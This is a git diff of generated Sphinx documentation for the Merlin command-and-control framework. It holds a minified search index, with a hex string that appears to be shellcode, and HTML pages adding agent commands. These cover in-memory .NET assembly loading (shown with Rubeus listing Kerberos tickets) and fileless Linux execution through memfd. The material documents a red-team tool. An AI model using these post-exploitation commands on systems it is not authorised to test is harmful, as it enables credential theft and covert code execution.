],openbsd:1,openssl:17,oper:[1,11,12,13,14,15],opportun:10,opt:[8,10,12,13],option:[0,2,4,11,13,14,15],option_nam:14,order:[11,13,16],org:1,organ:13,organizationalperson:8,origin:[3,4,7,9],other:[2,3,10,13],our:10,ourl:3,ourljavascript:3,out:[0,3,7,9,11,13,16],outer:13,outlin:7,output:[0,1,13],over:[0,5,6,15],overcom:[2,4],overrid:[0,1,13],own:[3,9,13,17],p7zip:12,packag:[7,9],packet:[9,13],pad:1,paddingmax:8,page:[0,3,6,11,12,15],pair:17,paper:5,paramet:[3,4,9,10,16],pars:[0,9],part1:6,part:[6,9,16],partial:2,pass:[2,7,13],passwd:13,password:[8,10],past:13,path:[9,11,13],payload:[3,10],pebyt:[4,10],penetr:[6,7],per:13,perform:[9,10,11,13],persist:[11,13],person:8,pertain:9,phone:3,photo:13,php:[0,1],physicalmediatyp:8,pid:13,ping:[9,13],pingcastl:13,pipe:13,pkg:9,place:[3,4,13],placehold:9,plain:3,plan9:1,platform:[6,8,9,12,13,15,16],playbook:6,player:13,pmerlin:12,point:[9,10],port:[0,14],portabl:13,posit:[9,13],possibl:7,post:[3,5,7,10],potenti:0,powershel:[2,3,6,8,13,16],powershellmafia:[8,9,16],powersploit:[2,4,8,9,10,16],powerview:8,ppc64:1,ppc64le:1,practic:[3,5,6],pre:[0,1,9,10],preclud:3,predomin:0,preferred_lft:[14,15],present:[6,15,17],press:[10,14,15],prevent:[5,6,11,13,14,15],previous:14,primarygroupid:8,print:[0,7,13,15,16],prior:[0,2,3,4,7,9,10],privat:[9,16,17],privileg:[9,16],probabl:3,problem:[0,1,7],process:[8,11,13],program:[2,9,10,11,13,15],progress:2,project:[7,9,13,16],prompt:[9,13,14,15,16],proof:[2,4],proper:7,properli:11,properti:9,proto:[1,13],protocol:[0,1,5,6,13,14],prove:13,proven:2,provid:[0,1,2,3,9,10,13,14,15,16,17],proxi:1,prumzqybfr:13,ps1:[2,4,8,9],psexec:13,psk:[1,14],pthread:2,publicli:[14,17],pull:1,pwdlastset:8,python:[3,10],qdisc:[14,15],qlen:[14,15],question:11,queu:13,queue:13,queueuserapc:13,quic:[0,1,5,6,15],quick:[5,10,12],quickest:[3,10,12],quickli:[10,13,14,15],quit:[0,1,10],quot:[],quotat:13,qw5kcmv3:6,rabbit:6,rage:10,random:13,randomli:[0,1],rastlei:13,rat:5,raw:[4,7,8,9,13],read:[4,9,10,13],readallbyt:[4,10],readi:10,readm:[2,10],reason:1,receiv:[0,8,13],recogn:13,recommend:[1,12],recompdil:10,recompil:11,recon:8,red:[6,7],redirect:13,redirector:11,ref:[],reflect:[3,4,9,10,16],reflective_dll_inject:2,reflectiveload:2,reflectivepeinject:[2,9,16],regsvr32:[2,10],regularli:7,rel:13,releas:[6,12,13],reliabl:10,remain:13,remedi:13,remot:[5,7],remote_:[],remote_fil:13,remov:[1,2,13],renam:7,replac:[4,9,10,17],repli:13,repo:10,repositori:[7,10],request:11,requir:[0,2,4,7,9,10,13,15,16],research:5,resid:13,resolv:13,resourc:0,respect:[7,12],respons:13,rest:7,result:[0,5,7,8,13,16],retri:13,retriev:16,review:7,rhost:10,rickastlei:13,right:[3,17],roll:6,root:[1,3,10,13,14,15],round:13,rport:10,rtlcreateuserthread:[],rule:6,run:[0,1,2,3,4,7,9,10,11,12,15],russel:[9,16],ryan:13,s_http:10,safari:0,sake:13,samaccountnam:8,samaccounttyp:8,same:[1,3,9,11,13,16],san:6,sandbox:3,sas:1,save:[8,10,13],scan:13,scenario:13,schema:8,scope:[14,15],scott:7,screen:[0,3,13,16],scri:3,script:[2,4,6,9,10,16],sdk:[1,13],seatbelt:13,second:[0,1,13],section:[1,3,9,10,13,14],secur:10,securepassword1:1,sed:10,see:[0,1,3,10,11,13,14,15,16],seem:3,select:[0,1,13,14,15,16],self:[3,17],semi:10,send:[0,1,9],sens:9,sensit:9,sent:[7,13],sep:13,sequenc:[],seri:9,serial:13,serv:3,server:[0,1,2,3,4,7,9,10,11,13,14,15,17],servic:13,session:[0,14],set:[4,9,10,11],setup:[3,10,14],sever:13,shaprgen:13,share:[0,1,2],shargen:13,sharpsploit:13,shell:[10,11],shellcod:9,ship:[3,9,17],shortest:13,should:[0,3,7,9,10,16,17],show:[1,9,11,13,15],shown:[1,10],shut:8,shutdown:3,side:6,sidebar:13,sign:[3,17],signatur:[0,1,13],signific:4,simpl:[2,3,10,14,15],simplehttpserv:[3,10],simpli:[1,7,10,13,15],singl:[2,9,12,13,15],size:[0,13],skew:1,skip:[13,15],sleep:[1,8],slightli:7,smb_deliveri:10,smbv2:10,snap:13,snip:16,softwar:10,solari:1,some:[0,3,7,9,11,13,14],someth:9,sometim:10,somewher:3,soon:7,sourc:[0,1,4,9,11],space:[9,13],spawn:11,spawnto:13,special:[9,13,16],specif:[2,9,13],specifi:[0,2,4,9,10,11,13,15,16],spell:7,spool:13,squar:14,src:[3,4,9,10,13,14],srdi:[2,9],ssl:0,sslv2:[0,13],sslversion:[0,13],ssword:13,stage:[2,4],stai:3,stand:[0,10],standard:[7,9],start:[0,3,8,9,10,12,13,15,17],state:[13,14,15,16],statist:13,statu:[2,6,8,15],stderr:13,stdout:[0,8,13],step:[2,4,10,13],still:[4,13],stop:[9,13],store:9,strict:3,strike:13,string:[0,1,9,10,15],structur:[7,9],sub:[15,16],submit:7,submodul:13,subsequ:[0,9],success:7,successfulli:[13,14],sudo:12,suppli:[2,9,16],support:[0,3,6,9,13],supportedencryptiontyp:8,sure:[0,7,12,13,14,15],svchost:13,symbol:[7,13],syntax:13,sysintern:10,sysinternalssuit:[10,13],system32:[9,10,13],system:[1,3,4,6,9,10,12,13,14,15,17],tab:[13,14,15,16],tabl:[1,2,13,14],tablet:3,take:[9,13,15],target:[1,2,4,9,10,13,16],task:13,tdm:2,team:[6,10],technolog:10,temp:[10,13],templat:9,ten:1,termin:[10,13,14,15],test:[2,3,5,6,7,9,13,14,17],text:[0,1,3,15],than:[13,17],thank:7,thei:[0,3,9,11,13,15,16],them:13,therefor:[10,13],thi:[0,1,2,3,4,5,6,7,9,10,11,13,14,15,16,17],thing:[9,10,16],thirti:0,those:7,thread:13,through:[0,1,3,9,14,15,16],time:[0,1,2,9,10,13,14,15],timestamp:[0,1,13],titl:5,tmp:[11,13],tobase64str:[4,10],togeth:11,token:13,too:[13,15],tool:[0,3,5,6,10,13],top:8,toux:13,track:7,traffic:[0,1,13],transport:[0,15],trip:13,troubleshoot:0,trust:[3,17],ttl:13,tuyl:[9,16],twitter:6,two:13,txt:[8,11],type:[3,7,8,13,14,15,16],typic:13,ubuntu:9,udp:[0,5],unabl:10,under:13,undocu:13,uniform:0,uniqu:[0,7,13],unit:0,unix:[0,1,13],unixtimestamp:13,unkl4b:6,unless:[3,7,10],unsent:13,unstabl:[10,13],untrust:[3,17],updat:[7,10,12,13],upload:9,upstream:7,url:[1,2,4,10,11,14],usag:7,use:[0,1,2,3,9,10,11,12,13,16,17],used:[0,1,2,3,4,5,6,7,9,10,12,13,14,15,16,17],useful:[0,3,9,13,14,15],user:[0,1,3,4,8,9,10,13,14,15,17],useraccountcontrol:8,userag:1,userapc:[],userguid:8,usernam:[1,8,13],userprincipalnam:8,uses:[0,9,13,16],using:[0,1,2,3,4,5,7,9,10,11,12,13,14,15,17],usnchang:8,usncreat:8,usr:13,usual:13,utc:8,utpisxxxbl:13,uuid:[8,15],uxegckyror:13,valhalla:6,valid:[3,14],valid_lft:[14,15],valu:[0,1,2,3,4,13,14,16],valuabl:7,van:[9,16],variabl:[2,4,9,10,11,13],varianc:[0,1],varieti:9,ver:13,verbos:[1,3,7,10],veri:[2,10],verifi:13,version:[3,4,8,9,10,13,16,17],victim:3,video:6,vie:[13,16],view:[1,3,7,9,10,11,14,15],viewer:13,vincent:13,viru:10,visibl:3,visit:12,voidfunc:2,volum:13,vpidremwkf:8,vulner:[3,8],vxjszdzlpp:13,w64:2,wai:[2,3,7,10,12,13],wait:13,waittim:8,want:[1,3,9,10,13,14,15],warn:[7,10,17],web:[0,3,5,6,10],webclient:[4,8,9,10],well:[2,9],were:13,werfault:13,wget:12,what:[0,9,10,14,15,16],whatev:2,when:[0,1,2,3,4,7,8,9,10,13,14,15,16,17],whenchang:8,whencreat:8,where:[1,3,9,10,13,14,15],whfgrwhudv:13,which:[0,9,16],white:7,wide:17,widget:3,wiki:14,win10:8,win32:[],win64:0,win:[13,15],window:[0,2,4,8,9,12,13,15,16],windowsgui:[1,11],windowspowershel:13,windowssystem32:13,winrm:13,winter2017:8,wire:[0,13],wise:13,wish:13,within:[9,13],without:[2,3,7,9,10,11,13,14,15,16],wizard:6,wlgtwgtqnx:13,wmiexec:10,word:[13,16],work:[2,3,4,5,7,9,10,13,16],would:[2,3,9,13],wrap:13,wrape:13,write:[0,3,9,10,16],writelin:13,written:[3,4,13],www:3,wxlv:10,x01:13,x02:13,x03:13,x07:13,x0f:13,x10:13,x17:13,x18:13,x1c:13,x1f:13,x20:13,x24:13,x28:13,x2c:13,x30:13,x32:13,x34:13,x3c:13,x45:13,x48:13,x509:[8,14,17],x509cert:14,x509kei:14,x50:13,x51:13,x52:13,x53:13,x54:13,x55:13,x56:13,x57:13,x58:13,x59:13,x5a:13,x5b:13,x5c:13,x5d:13,x5e:13,x5f:13,x60:13,x61:13,x63:13,x64:[0,9,11,12,13,16],x65:13,x68:13,x69:13,x6a:13,x6c:13,x6e:13,x74:13,x75:13,x76:13,x7e:13,x81:13,x83:13,x86:13,x8b:13,x8d:13,x99:13,xad:13,xae:13,xb7:13,xc3:13,xc4:13,xcalibur:8,xd7:13,xec:13,xef:13,xf7:13,xfe:13,xff:13,xhr:3,yellow:7,yes:[13,14,15],yet:[3,13],you:[0,1,2,3,7,9,10,11,12,13,14,15,16,17],your:[3,6,7,10,11,12,13,14,15,17],yourdomian:2,youtub:6,yqhfuvxkqz:13,yrzdbkcxaf:8},titles:["Command Line Flags","Custom Build","DLL Agent","JavaScript Agent","PowerShell","Merlin Command and Control framework","Blog Posts","Contributing","Logging","Building Modules","Merlin Agent","FAQ","Merlin Server","Agent Menu","Listener Menu","Main Menu","Modules Menu","TLS Certificates"],titleterms:{"export":2,"function":[2,13],"try":11,EXE:10,TLS:17,advanc:[1,10],agent:[1,2,3,7,8,10,11,13,15,16],appear:6,argument:13,assembl:13,back:[13,14,16],banner:15,base:9,basic:1,binari:11,blog:6,build:[1,9],certif:17,clear:13,click:11,cmd:10,com:3,command:[0,5,9,10],compil:[1,11],contribut:7,contributor:7,control:5,creat:2,cross:[1,3],custom:1,debug:0,delet:14,deliveri:10,deploy:3,dll:[2,4,10],dom:3,don:11,doubl:11,download:13,entri:2,error:11,escap:13,exe:[2,10],execut:[2,10,13,14],exit:[13,15],extern:6,faq:11,flag:[0,9],framework:5,get:[7,11],happen:11,help:[13,14,15],host:0,info:[13,14,16],inject:3,input:11,instanti:14,interact:[14,15],interfac:7,invok:[2,4,10],ja3:[0,13],javascript:3,job:13,kill:13,killdat:[0,13],limit:[2,3,4],line:0,list:[14,15],listen:[14,15],local:[9,10],log:[7,8],main:[13,14,15,16],maxretri:[0,13],menu:[13,14,15,16],merlin:[2,4,5,10,11,12],messag:7,metasploit:10,method:3,misc:6,mobil:1,modul:[9,16],name:9,ne0nd0g:6,noth:11,object:3,option:[1,9,16],output:11,overrid:3,pad:[0,13],pipe:11,platform:1,point:2,post:6,powershel:[4,9,10],pre:11,proto:0,proxi:0,ps1:10,psexec:10,psk:0,pull:7,pwd:13,quit:[13,15],quot:13,recompil:10,redirect:11,reflectivepeinject:4,reload:16,remot:[9,10,13],remov:15,request:7,restart:14,rtlcreateuserthread:13,run:[13,14,16],rundll32:[2,10],script:3,self:13,sequenc:13,server:[8,12],session:15,set:[13,14,16],sharpgen:13,shell:13,shellcod:13,show:[14,16],site:3,skew:[0,13],sleep:[0,13],smb:10,start:[7,14],statu:[13,14],stop:14,support:1,templat:14,tweet:6,type:9,ubuntu:12,updat:4,upload:[10,13],url:[0,3],usag:3,use:[14,15],user:7,userag:0,userapc:13,valu:9,variabl:3,verbos:0,version:[0,15],when:11,wildcard:[14,15],window:[1,3,10,11],work:11,xss:3}}) \ No newline at end of file +Search.setIndex({docnames:["index","server/menu/agents"],envversion:{"sphinx.domains.c":1,"sphinx.domains.changeset":1,"sphinx.domains.cpp":1,"sphinx.domains.javascript":1,"sphinx.domains.math":2,"sphinx.domains.python":1,"sphinx.domains.rst":1,"sphinx.domains.std":1,"sphinx.ext.todo":1,sphinx:55},filenames:["index.rst","server/menu/agents.rst"],objects:{},objnames:{},objtypes:{},terms:{"00h":1,"00z":1,"01t00":1,"02s":1,"06m":1,"07z":1,"0x01":1,"0x02":1,"0x03":1,"0x07":1,"0x0f":1,"0x10":1,"0x17":1,"0x18":1,"0x1c":1,"0x1f":1,"0x20":1,"0x24":1,"0x28":1,"0x2c":1,"0x30":1,"0x32":1,"0x34":1,"0x37913":1,"0x3c":1,"0x45":1,"0x48":1,"0x50":1,"0x51":1,"0x52":1,"0x53":1,"0x54":1,"0x55":1,"0x56":1,"0x57":1,"0x58":1,"0x59":1,"0x5a":1,"0x5b":1,"0x5c":1,"0x5d":1,"0x5e":1,"0x5f":1,"0x60":1,"0x61":1,"0x63":1,"0x65":1,"0x68":1,"0x69":1,"0x6a":1,"0x6c":1,"0x6e":1,"0x74":1,"0x75":1,"0x76":1,"0x7e":1,"0x81":1,"0x83":1,"0x8b":1,"0x8d":1,"0x99":1,"0xad":1,"0xae":1,"0xb7":1,"0xc3":1,"0xc4":1,"0xd7":1,"0xec":1,"0xef":1,"0xf7":1,"0xfe":1,"0xff":1,"11z":1,"147m":1,"14ad":1,"15s":1,"171m":1,"18t11":1,"1a37":1,"200e":1,"20t14":1,"21a0fc5f":1,"23m":1,"26m":1,"26z":1,"27t01":1,"30s":1,"30z":1,"31ba":1,"32534a9191f0":1,"34z":1,"368m":1,"38z":1,"44z":1,"47fb":1,"4c43":1,"4d90":1,"505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3":1,"50x":1,"51a7ad14509fd614c7bb3a50c4982b8c":1,"57eab1feb0e1":1,"57z":1,"59z":1,"60m":1,"766m":1,"7pd32":1,"82a":1,"86e0c0217786":1,"byte":1,"case":1,"default":1,"import":1,"long":1,"new":1,"return":1,"true":1,"var":1,Are:1,DNS:1,EXE:1,For:1,Not:1,One:1,TLS:1,The:1,There:1,Use:1,Using:1,WILL:1,WITH:1,___:1,____:1,_____:1,______:1,_maximum_:1,a241:1,a98e6175:1,abf0:1,abl:1,about:1,abov:1,absolut:1,ac57:1,access:0,accident:1,acm:1,across:1,action:1,activ:1,added:1,addit:1,addition:1,address:1,after:1,again:1,against:1,agentcontrol:1,alert:1,alia:1,all:1,alloc:1,allow:1,along:1,alreadi:1,also:[0,1],altern:1,amd64:1,amount:1,amour:1,amsi:1,ani:1,anonym:1,anoth:1,anti:1,anyth:1,apc:1,api:1,appdomain:1,applic:[0,1],approach:0,approxim:1,architectur:1,arg:1,articl:1,assign:1,associ:1,attack:0,attempt:[0,1],author:[0,1],automat:1,avail:1,averag:1,b31b:1,b41e:1,b524:1,backslash:1,backup:1,base64:1,base:1,bash:1,basi:1,batch:1,beacon:1,becam:1,becaus:1,becom:1,been:1,befor:1,benefici:1,benjamin:1,beta:1,better:1,between:1,bin:1,binari:1,blog:1,both:1,bsvjzfvbrz:1,build:1,built:1,bye:1,bypass:1,c1090dbc:1,cach:1,calc:1,call:1,can:1,cancel:1,capabl:1,cat:1,caus:1,ccwrmdlifq:1,certain:1,cfb9:1,chang:1,charact:1,check:1,checkin:1,child:1,choic:1,choos:1,cipher:1,circumv:1,cli:1,client:1,clr:1,cmd:1,cmdpayload:1,cobalt:1,cobb:1,cobbr:1,code:1,coffe:1,collect:1,com:1,combin:0,come:1,comma:1,command:1,commandlin:1,common:1,commonli:1,commun:[0,1],compil:1,complet:1,compon:1,comspec:1,configur:1,confirm:1,connect:0,consol:1,contact:1,contain:1,content:1,context:1,control:1,convers:1,convert:1,core:1,correctli:1,could:1,coupl:1,crash:1,creat:1,createprocess:1,createremotethreadex:1,credenti:1,csharp:1,current:1,currentus:1,dade:1,data:1,dataagentsc1090dbc:1,date:1,dead:1,defend:1,delai:1,delpi:1,denot:1,depend:1,depreci:1,descript:1,desktop:1,detect:[0,1],devic:1,dgrwxrwxr:1,dgtrwxrwxrwx:1,die:1,died:1,differ:1,dir:1,directli:1,directori:1,disk:1,displai:1,dll:1,dllhost:1,dmafzdpusm:1,dns9:1,dns:1,document:1,doe:1,donut:1,dotnet:1,doubl:1,drive:1,drwxr:1,drwxrwxr:1,drwxrwxrwx:1,dtbnkifnu:1,dtrwxrwxrwx:1,dure:0,dwxtiadjyz:1,dynam:1,each:1,either:1,ellipticcurv:1,ellipticcurvepointformat:1,els:1,empti:1,enabl:1,enclos:1,encod:1,end:1,enjkiilxxh:1,enrol:1,entir:1,environ:1,error:1,est:1,establish:1,etc:1,evad:1,evalu:0,everi:1,everyth:1,evtawdqbwa:1,exact:1,exampl:1,exclud:1,exe:1,exec:1,exploit:[0,1],explor:1,extens:1,extern:1,f2f7:1,f8b0:1,fact:1,fail:1,fd43:1,fe80:1,featur:1,file:1,fileless:1,filepath:1,fine:1,fingerprint:1,first:[0,1],flag:1,folder:1,follow:1,forens:1,format:1,found:1,fqilcqfmlk:1,frequent:1,from:1,gener:1,gentilkiwi:1,get:1,getsystem:1,ggqpfqhtrc:1,git:1,github:1,glphkartmg:1,gmail:1,goarnhtvtt:1,golang:0,googl:1,granular:1,grep:1,guarante:1,guid:1,guidanc:1,gwfqhcskji:1,h35rk21:1,hagrid:1,hardcod:1,has:1,hash:1,have:1,hbyxrfarbg:1,hello:1,here:1,hex:1,highest:1,highli:1,home:1,host:1,hostnam:1,hour:1,howev:1,http:[0,1],identifi:1,idletim:1,imperson:1,implement:1,includ:1,inform:1,ini:1,initi:1,inject:1,inner:1,input:1,insid:1,instal:1,instanc:1,instanti:1,instruct:1,intend:0,intention:1,interact:1,interfac:1,intern:1,internet:[0,1],interpret:1,interv:1,introduc:1,iompernygt:1,iqokwggqkj:1,issu:1,its:1,itself:1,ixvxgyikh:1,ja3er:1,java:1,jitter:1,joe:1,joqnjonrek:1,just:1,jweuaytytv:1,keep:1,kerbero:1,kit:1,klist:1,known:[0,1],label:1,last:1,learn:0,leav:1,less:1,letoux:1,leverag:1,lib:1,like:1,line:1,linux:1,littl:1,local:1,local_fil:1,localgroup:1,localus:1,locat:1,lock:1,log:1,login:1,look:1,loss:1,lost:1,lrwxrwxrwx:1,luid:1,lyyqdxckti:1,maco:1,mail:1,make:1,maketoken:1,malici:1,malwar:1,manual:1,mark:1,match:1,max:1,maximum:1,mean:1,media:1,memfd_creat:1,memori:1,merlin:1,messag:1,method:1,metric:1,microsoft:1,might:1,milli:1,millisecond:1,mimikatz:1,minimum:1,minut:1,misc:1,mode:1,modifi:1,modul:1,more:1,most:1,multimedia:1,multipl:1,must:1,mysmartlogon:1,name:1,nativ:1,nativecmd:1,need:1,net:1,neutrino:1,niflrstgrr:1,none:1,nonreleas:1,note:1,notic:1,npmyqwasod:1,npqgrntaqx:1,nuclear:1,number:1,nxnhjvrusp:1,occur:1,oeobxfbup:1,onc:1,one:1,onli:[0,1],oper:1,opt:1,option:1,order:1,organ:1,other:1,out:1,outer:1,output:1,over:0,overrid:1,own:1,packet:1,paper:0,pass:1,passwd:1,past:1,path:1,per:1,perform:1,persist:1,photo:1,pid:1,ping:1,pingcastl:1,pipe:1,place:1,platform:1,player:1,portabl:1,posit:1,post:0,powershel:1,practic:0,prevent:[0,1],previous:1,print:1,process:1,program:1,project:1,prompt:1,proto:1,protocol:[0,1],prove:1,provid:1,prumzqybfr:1,psexec:1,python:1,quad9:1,queri:1,queu:1,queue:1,queueuserapc:1,quic:0,quick:0,quickli:1,quotat:1,ram:1,random:1,rastlei:1,rat:0,raw:1,read:1,receiv:1,recogn:1,redirect:1,refer:1,rel:1,releas:1,remain:1,remedi:1,remot:0,remote_fil:1,remov:1,repli:1,requir:1,research:0,resid:1,resolv:1,respons:1,result:[0,1],retri:1,rickastlei:1,root:1,round:1,rubeu:1,ryan:1,sake:1,same:1,save:1,scan:1,scenario:1,screen:1,script:1,sdk:1,seatbelt:1,second:1,section:1,see:1,select:1,sent:1,sep:1,separ:1,serial:1,server:1,servic:1,sever:1,shaprgen:1,shargen:1,sharpdpapi:1,sharpsploit:1,sharpup:1,shortest:1,show:1,sidebar:1,signatur:1,simpli:1,singl:1,size:1,skip:1,snap:1,some:1,space:1,spawnto:1,special:1,specif:1,specifi:1,spool:1,src:1,sslv2:1,sslversion:1,ssword:1,start:1,state:1,statist:1,stderr:1,stdout:1,step:1,still:1,stop:1,strike:1,string:1,submodul:1,successfulli:1,support:1,sure:1,svchost:1,symbol:1,syntax:1,sysinternalssuit:1,system32:1,system:1,tab:1,tabl:1,take:1,target:1,task:1,temp:1,termin:1,test:[0,1],than:1,thei:1,them:1,therefor:1,thi:[0,1],third:1,thread:1,ticket:1,time:1,timestamp:1,titl:0,tmp:1,token:1,too:1,tool:[0,1],toux:1,traffic:1,trip:1,ttl:1,two:1,type:1,typic:1,udp:0,under:1,undocu:1,uniqu:1,unix:1,unixtimestamp:1,unsent:1,unstabl:1,updat:1,use:1,used:[0,1],useful:1,user:1,usernam:1,uses:1,using:[0,1],usr:1,usual:1,utpisxxxbl:1,uxegckyror:1,valu:1,variabl:1,ver:1,verifi:1,version:1,vie:1,view:1,viewer:1,vincent:1,volum:1,vxjszdzlpp:1,wai:1,wait:1,want:1,web:0,were:1,werfault:1,when:1,where:1,whfgrwhudv:1,which:1,win:1,window:1,windowspowershel:1,windowssystem32:1,winrm:1,wire:1,wise:1,wish:1,within:1,without:1,wlgtwgtqnx:1,word:1,work:[0,1],would:1,wrap:1,wrape:1,writelin:1,written:1,x01:1,x02:1,x03:1,x07:1,x0f:1,x10:1,x17:1,x18:1,x1c:1,x1f:1,x20:1,x24:1,x28:1,x2c:1,x30:1,x32:1,x34:1,x3c:1,x45:1,x48:1,x50:1,x51:1,x52:1,x53:1,x54:1,x55:1,x56:1,x57:1,x58:1,x59:1,x5a:1,x5b:1,x5c:1,x5d:1,x5e:1,x5f:1,x60:1,x61:1,x63:1,x64:1,x65:1,x68:1,x69:1,x6a:1,x6c:1,x6e:1,x74:1,x75:1,x76:1,x7e:1,x81:1,x83:1,x86:1,x8b:1,x8d:1,x99:1,xad:1,xae:1,xb7:1,xc3:1,xc4:1,xd7:1,xec:1,xef:1,xf7:1,xfe:1,xff:1,yes:1,yet:1,you:1,your:1,yqhfuvxkqz:1,yrpdqkcutg:1,zyewhgfthk:1},titles:["Merlin Command and Control framework","Agent Menu"],titleterms:{"function":1,agent:1,argument:1,assembl:1,back:1,clear:1,command:0,control:0,download:1,escap:1,execut:1,exit:1,framework:0,help:1,info:1,invok:1,ja3:1,job:1,kill:1,killdat:1,list:1,load:1,main:1,maxretri:1,memfd:1,menu:1,merlin:0,nslookup:1,pad:1,pwd:1,quit:1,quot:1,remot:1,rtlcreateuserthread:1,run:1,self:1,sequenc:1,set:1,sharpgen:1,shell:1,shellcod:1,skew:1,sleep:1,statu:1,upload:1,userapc:1}}) \ No newline at end of file diff --git a/docs/_build/html/server/menu/agents.html b/docs/_build/html/server/menu/agents.html index c83c5a26..5daad33a 100644 --- a/docs/_build/html/server/menu/agents.html +++ b/docs/_build/html/server/menu/agents.html @@ -120,9 +120,16 @@
  • info
  • +
  • invoke-assembly
  • jobs
  • kill
  • +
  • list-assemblies
  • +
  • load-assembly
  • ls
  • +
  • main
  • +
  • memfd
  • +
  • nslookup
  • +
  • pwd
  • quit
  • run
  • -
  • main
  • -
  • pwd
  • status
  • upload
  • @@ -257,13 +262,24 @@

    help¶ | | RtlCreateUserThread <pid> info | Display all information about | | the agent | + invoke-assembly | Invoke, or execute, a .NET | <assembly name>, <assembly + | assembly that was previously | args> + | loaded into the agent's | + | process | jobs | Display all active jobs for | | the agent | kill | Instruct the agent to die or | | quit | + load-assembly | Load a .NET assembly into the | <assembly path> [<assembly + | agent's process | name>] + list-assemblies | List the .NET assemblies that | + | are loaded into the agent's | + | process | ls | List directory contents | ls /etc OR ls C:\\Users OR ls | | C:/Users main | Return to the main menu | + memfd | Execute Linux file in memory | <file path> [<arguments>] + nslookup | DNS query on host or ip | nslookup 8.8.8.8 pwd | Display the current working | pwd | directory | run | Execute a program directly, | run ping -c 3 8.8.8.8 @@ -569,6 +585,39 @@

    info¶ +
    +

    invoke-assembly

    +

    The invoke-assembly command will execute a .NET assembly that was previously loaded into the agent with the +load-assembly command. The first argument is the name of the assembly and all the remaining arguments are passed to +the assembly for execution. Use the list-assemblies command return a list of loaded assemblies. +The execute-assembly command is different because it uses injection to run the assembly in a child process. +This command runs the assembly in the current process without injection.

    +
    +

    Note

    +

    Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies

    +
    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» invoke-assembly Rubeus.exe klist
    +[-] Created job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[-] Results job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[+]
    +   ______        _
    +  (_____ \      | |
    +   _____) )_   _| |__  _____ _   _  ___
    +  |  __  /| | | |  _ \| ___ | | | |/___)
    +  | |  \ \| |_| | |_) ) ____| |_| |___ |
    +  |_|   |_|____/|____/|_____)____/(___/
    +
    +  v1.5.0
    +
    +
    +Action: List Kerberos Tickets (Current User)
    +
    +[*] Current LUID    : 0x37913
    +
    +
    +

    jobs

    The jobs command will display a table of all active jobs assigned to the agent. The output will not include jobs that have already completed.

    @@ -590,6 +639,47 @@

    kill

    +
    +

    list-assemblies

    +

    The list-assemblies command lists .NET assemblies that have been loaded into the agent’s process with the load-assembly command.

    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» list-assemblies
    +[-] Created job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +[-] Results job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[+] Loaded Assemblies:
    +seatbelt.exe
    +rubeus.exe
    +sharpdpapi.exe
    +sharpup.exe
    +Hagrid
    +
    +
    +
    +
    +

    load-assembly

    +

    The load-assembly command loads a .NET assembly into the agent’s process. Once the assembly is loaded, it can be executed +multiple times with the invoke-assembly command. The .NET assembly is only sent across the wire one time. +An option third argument can be provided to reference the assembly as any other name when executed with the +invoke-assembly command.

    +
    +

    Note

    +

    Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies

    +
    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe
    +[-] Created job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +[-] Results job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[+] successfully loaded rubeus.exe into the default AppDomain
    +
    +
    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe Hagrid
    +[-] Created job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +[-] Results job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[+] successfully loaded Hagrid into the default AppDomain
    +
    +
    +

    ls

    The ls command is used to list a directory’s contents using native Go functions within Merlin. This command will not execute the ls or dir binary programs found on their associated host operating systems. If a directory is not specified, Merlin will list the contents of the current working directory. When specifying a Windows path, you must escape the backslash (e.g.,. C:\Temp). Wrap file paths containing a space in quotations. Alternatively, Linux file paths with a space can be called without quotes by escaping the space (e.g.,. /root/some\ folder/). Relative paths can be used (e.g.,. ./../ or downloads\\Merlin) and they are resolved to their absolute path.

    @@ -636,6 +726,64 @@

    ls

    +
    +

    main

    +

    The main command is used to leave the Agent menu and return back to the Main Menu. It is an alias for the back command.

    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main
    +Merlin»
    +
    +
    +
    +
    +

    memfd

    +

    The memfd command loads a Linux executable file into memory (RAM) as an anonymous file using the +memfd_create API call, executes it, and returns the +results. +The file is created with an empty string as its name. +Less the fact that RAM is a file on Linux, the executable is not written to disk. +View the Detecting Linux memfd_create() Fileless Malware with Command Line Forensics +for detection guidance.

    +
    +

    Note

    +

    This command will not run on Windows agents

    +
    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memfd /tmp/hello.py
    +[-] Created job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[-] Results job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[+] Hello from a Python script
    +
    +
    +
    +
    +

    nslookup

    +

    The nslookup command takes a space separated list of IP addresses or hostnames and performs a DNS query using the +host’s resolver and returns the results.

    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» nslookup 8.8.8.8 9.9.9.9 github.com google.com
    +[-] Created job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[-] Results job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[+] Query: 8.8.8.8, Result: dns.google.
    +Query: 9.9.9.9, Result: dns9.quad9.net.
    +Query: github.com, Result: 192.30.255.113
